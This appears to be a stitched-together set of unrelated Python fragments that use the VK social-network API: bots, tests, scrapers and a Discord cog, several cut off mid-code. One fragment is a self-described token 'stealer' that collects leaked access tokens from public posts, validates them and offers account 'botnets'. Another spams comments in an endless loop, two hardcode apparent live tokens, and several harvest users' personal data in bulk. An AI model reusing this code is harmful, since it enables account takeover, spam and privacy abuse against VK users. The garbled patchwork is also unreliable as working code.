from data_conv import create_doc, create_nice_date from config import * from requests import * import vk session = vk.Session(access_token=VK_API_ACCESS_TOKEN) api = vk.API(session, v=VK_API_VERSION) longPoll = api.groups.getLongPollServer(group_id=GROUP_ID) server, key, ts = longPoll['server'], longPoll['key'], longPoll['ts'] Users = {} def upload_file(file_name): upload_url = api.docs.getWallUploadServer(group_id=GROUP_ID)['upload_url'] request = post(upload_url, files={'file': open(file_name, "rb")}) file_rez = api.docs.save(file=request.json()['file'], title=file_name)[0] print(file_rez) return 'doc' + str(file_rez['owner_id']) + '_' + str(file_rez['id']) def encode_to_correct_answer(inp_data): return inp_data['first_name'], inp_data['last_name'] while True: # Последующие запросы: меняется только ts longPoll = post('%s' % server, data={ 'act': 'a_check',
if self.city != 0 and user.city != 0: if self.city == user.city: pass else: return False else: return False return True def print_for_group(self): if src.values.debug: print('id', self.user_id, 'age', self.age, 'sex', self.sex, 'country', self.county, 'city', self.city) session = vk.Session(token) api = vk.API(session) my_user = Data(api.users.get(v=api_version)[0]['id']) def get_common_groups(researched_user): out = open('data\\users\\id%d\\common.txt' % researched_user.user_id, 'w') my_subs = api.users.getSubscriptions(user_id=my_user.user_id, extended=0, v=api_version) user_subs = api.users.getSubscriptions(user_id=researched_user.user_id, extended=0, v=api_version)
def OutWork(result, files): f = open(files, "a") f.write(result + "\n") f.close() data_file = [] line = " - - - - - - - - - - - - - - -" print( "Приватная тырилка сообщений и фоток с токена vk.com\nVersion 0.3 (Beta 2)\nBy Demka with love ❤️\n" + line) WTF = input( "Привет, что ты хочешь сделать?\n1. Найти access_token\n2. Ботнеты из access_token\n3. Использовать кастомный access_token\n4. Найти пользователя VK\n5. Извлечение url c .txt\n>> " ) if WTF == "1": session = vk.Session(access_token="token") api = vk.API(session) news = api.newsfeed.search(q="html#access_token=", count=200) valid = 0 lalka = 1 try: for loxs in range(len(news)): token = news[lalka]["text"] ready = token[token.find("=") + 1:token.find("&")] try: session = vk.Session(access_token=ready) api = vk.API(session) info = api.users.get(user_ids=0) main_id = info[0]["uid"] print("*Успешная авторизация*")
def auth(token): global API sess = vk.Session(access_token=token) API = vk.API(sess, v=5.85)
import vk import time TOKEN = input('Введите токен:') post_coment = input('id пользователя/сообщества где нужно оставить комент:') postID = input('id поста:') mess = input('Сообщение для спама в коментариях:') session = vk.Session(access_token=TOKEN) api = vk.API(session, v='5.92', lang='ru') while True: (api.wall.createComment(owner_id=post_coment, post_id=postID, message=mess)) (api.wall.createComment(owner_id=post_coment, post_id=postID, message=mess)) (api.wall.createComment(owner_id=post_coment, post_id=postID, message=mess)) time.sleep(6.6)
import vk import time import datetime # Выводим на экран название программы и автора print('VKFriendlyBot by mioe') print('ubuntu-16.04-amd64') print('---') # Авторизуем сессию с помощью access токена session = vk.Session('59673b94838bfdf671e6851410f192e7a6cbacd8bed15891684a0a8ca3709d80a40b817e1b0137b1cc3f0') # Создаем объект API api = vk.API(session) points = 0 game = 0 while (True): # Получим 20 последних входящих сообщений messages = api.messages.get() # Создадим список поддерживаемых команд commands = ['-v', '-h', '-g', '-y', '-n', '-p', '1', '2', '3', 'next'] # Найдем среди них непрочитанные сообщения с поддерживаемыми командами # таким образом получим список в формате [(id пользователя, id сообщения, команда), ..] messages = [(m['uid'], m['mid'], m['body']) for m in messages[1:] if m['body'] in commands and m['read_state'] == 0] # Отвечаем на полученные команды
def setUp(self): session = vk.Session(access_token=main.TOKEN) self.api = vk.API(session, v=main.V, lang='ru', timeout=10)
def setUp(self): self.app = vkinder.VKinder() self.session = vk.Session(access_token=my_secret.vk_token) self.app.vk_api = vk.API(self.session, v=5.103)
cnt = 0 for friend_arr in ffs: if ff in friend_arr: cnt += 1 counter.append([ff, cnt]) print(counter) token = open('token.txt') for line in token: token = line ACCESS_TOKEN = token ACCESS_TOKEN = re.sub('[\t\r\n]', '', ACCESS_TOKEN) print(ACCESS_TOKEN) session = vk.Session(access_token=ACCESS_TOKEN) vk_api = vk.API(session, v='5.103') start_uid = 247405142 f = 'deactivated,country,city,career,education,occupation,schools' start_node = vk_api.users.get(user_id=start_uid, fields=f) lvl_1 = vk_api.friends.get(user_id=start_uid, order='hints') ffs = getFFs(lvl_1) reccomendFriend(start_uid, lvl_1, ffs) # for uid in lvl_1['items']: # lvl_2.append(vk_api.friends.get(user_ids=uid, order='hints')) # time.sleep(0.33) # print(lvl_2)
import contextlib import discord from redbot.core import Config, checks, commands from redbot.core.bot import Red from collections import defaultdict import asyncio import json import re from typing import Optional, List import vk CHECK_DELAY = 60 session = vk.Session(access_token='VALID_TOKEN') api = vk.API(session, v='5.52', lang='ru', timeout=20) target_id = 138011123 class vkrepost(commands.Cog): """My custom cog""" def __init__(self, bot: Red): super().__init__() self.config = Config.get_conf(self, identifier=138011123) self.config.register_global(LastPostDate=0, LastPostID=0, channel_id=326018877693755393) self.bot = bot self.task = self.bot.loop.create_task(self._check_posts())
import vk import vk_api from vk_api.longpoll import VkLongPoll from vk_api.keyboard import VkKeyboard, VkKeyboardColor from docx import Document from docx.shared import Inches import face_recognition import requests import downloading_google_sheet user_service_access_key = open( "user_service_access_key.dat").read().splitlines()[2] service_access_key = open('group_service_access_key.dat').read().splitlines() session = vk.Session(access_token=service_access_key) api1 = vk.API(session, v=5.101) owner_id = open('owner.dat').read().splitlines() admins = {str(i) for i in open('admins.dat').read().splitlines()} loginpassword = open('login_password.dat').read().splitlines() mail1 = open('mail.dat').read().splitlines() tokens = open('group_token.dat').read().splitlines() vk_session = vk_api.VkApi(token=tokens[0]) vko = vk_session.get_api() app_id = open('app.dat').read().splitlines() sessio = vk.Session(access_token=user_service_access_key) api = vk.API(sessio, v=5.101) contacts = [] vk_sessio = vk_api.VkApi(loginpassword[0], loginpassword[1], app_id=int(app_id[0]),
from django.views.decorators.csrf import csrf_exempt from django.http import HttpResponse import json import vk import random import database session = vk.Session( access_token= 'bd474e72f9fd5b28da782dbdd5fc1f3b1832bc10566d57ed68a74e9f18cdede0d81ea8335c11f532259c3' ) vk_api = vk.API(session) @csrf_exempt def admin(request): with open('myBotVK/templates/index.html', 'r') as file: return HttpResponse(file.read()) @csrf_exempt def script(request): with open('myBotVK/templates/script.js', 'r') as file: return HttpResponse(file.read(), content_type="text/javascript") @csrf_exempt def client_server(request): body = json.loads(request.body) res = {} if body["type"] == "login":
def loop(source_file_name): session = vk.Session(settings['group_token']) api = vk.API(session, lang='ru', v='5.64') followers = get_all_items( MAX_USERS_PER_REQUEST, lambda **kwargs : api.groups.getMembers(group_id=settings['group_id'], fields='domain', **kwargs) ) followers = {u['id']: '%s %s' % (u['first_name'], u['last_name']) for u in followers} all_messages = get_all_items( MAX_MESSAGES_PER_REQUEST, lambda **kwargs : api.messages.getDialogs(unanswered=1, preview_length=20, **kwargs) ) if not all_messages: return 0 try: used_cache = load('used_cache.bin') except IOError: used_cache = {} curr_time = int(time.time()) messages = [] cache_was_modified = False for m in all_messages: msg = m['message'] u_id = msg['user_id'] if u_id not in settings['tester_ids'] or 'clear' not in msg['body']: messages.append(msg) continue used_cache[u_id] = (curr_time, set()) cache_was_modified = True try: api.messages.send(user_id=u_id, message='done') except vk.exceptions.VkAPIError as error: logger.error('send to %s %s' % (followers[u_id], error.message)) continue if (cache_was_modified): save(used_cache, 'used_cache.bin') build = partial(build_blocks, source_file_name, followers, used_cache) processes = settings['processes'] if processes > 1: pool = Pool(processes=processes) results = pool.map(build, messages) else: results = [build(msg) for msg in messages] for is_ok, result in results: if not is_ok: user_id, message = result api.messages.send(user_id=user_id, message=message) time.sleep(settings['sleep']) continue user_id, blocks, title = result is_ok, result = get_best_block(used_cache, followers, user_id, blocks) if not is_ok: api.messages.send(user_id=user_id, message=result) time.sleep(settings['sleep']) continue user_ids, post = result s_post = set(post) for u_id in user_ids: is_tester = u_id in settings['tester_ids'] sign = followers[user_id if is_tester else u_id] if is_tester and user_id == u_id: sign = None try: _, user_cache = used_cache.setdefault(u_id, (curr_time, set())) send_image(api, u_id, sign, post, title) used_cache[u_id] = (curr_time, user_cache | s_post) logger.info('send to %s' % followers[u_id]) except vk.exceptions.VkAPIError as error: logger.error('send to %s %s' % (followers[u_id], error.message)) continue save(used_cache, 'used_cache.bin') return 0
import vk from vk_public import VKPublic from os import environ public_id = '-101534490' # posloosha.periscope vksession = vk.Session(access_token=environ.get("VK_ACCESS_TOKEN")) vkapi = vk.API(vksession, lang='ru') vkpublic = VKPublic(vkapi, public_id) def main(): print(f"Posted suggests: {vkpublic.publish_suggests()}") if __name__ == '__main__': main()
async def sendVk(self, message): session = vk.Session(access_token=config.SEND_TOKEN) vk_api = vk.API(session, v='5.81') vk_api.messages.send(domain=config.NAME_SEND, message=message, random_id=randint(0, 1000000000))
REQUEST_FIELDS = [ 'country', 'city', 'universities', 'education', 'occupation', 'career' ] START_NODE = 11582866 # me FIELDS_TO_REMOVE = ['uid', 'first_name', 'last_name', 'hidden'] NECESSARY_FIELDS = [ 'career', 'universities', 'education', 'occupation', 'university_name', 'university', 'faculty_name', 'faculty' ] EXECUTION_STATE_FILE = '/root/data/fetch-vk-data.state' TIMER_SEC = None OUTPUT_FILE = '/root/data/vk.data' queue = [] api = vk.API(vk.Session()) processed_friend_ids = set() def fetch_all_friends_data(node_id, fields): offset = 0 count = 50 res = [] current_response = [] while len(current_response) == count or offset == 0: try: current_response = api.friends.get(user_id=node_id, count=count, offset=offset, fields=fields) except Exception:
import os import time from datetime import datetime import matplotlib.pyplot as plt import numpy as np import pandas as pd import vk from dotenv import load_dotenv from tqdm import tqdm load_dotenv() API_KEY = os.getenv("API_KEY") session = vk.Session(API_KEY) api = vk.API(session, v="5.103", lang="ru", timeout=10) def get_user_data(ids): user = api.users.get(user_ids=ids, fields=["city", "country", "bdate", "sex"]) return user def parse_group(): top_groups = {} members_counts = api.groups.getMembers(group_id="ic_tpu", offset=4000)["count"] print(members_counts) chunks = members_counts // 1000 + 1 data = []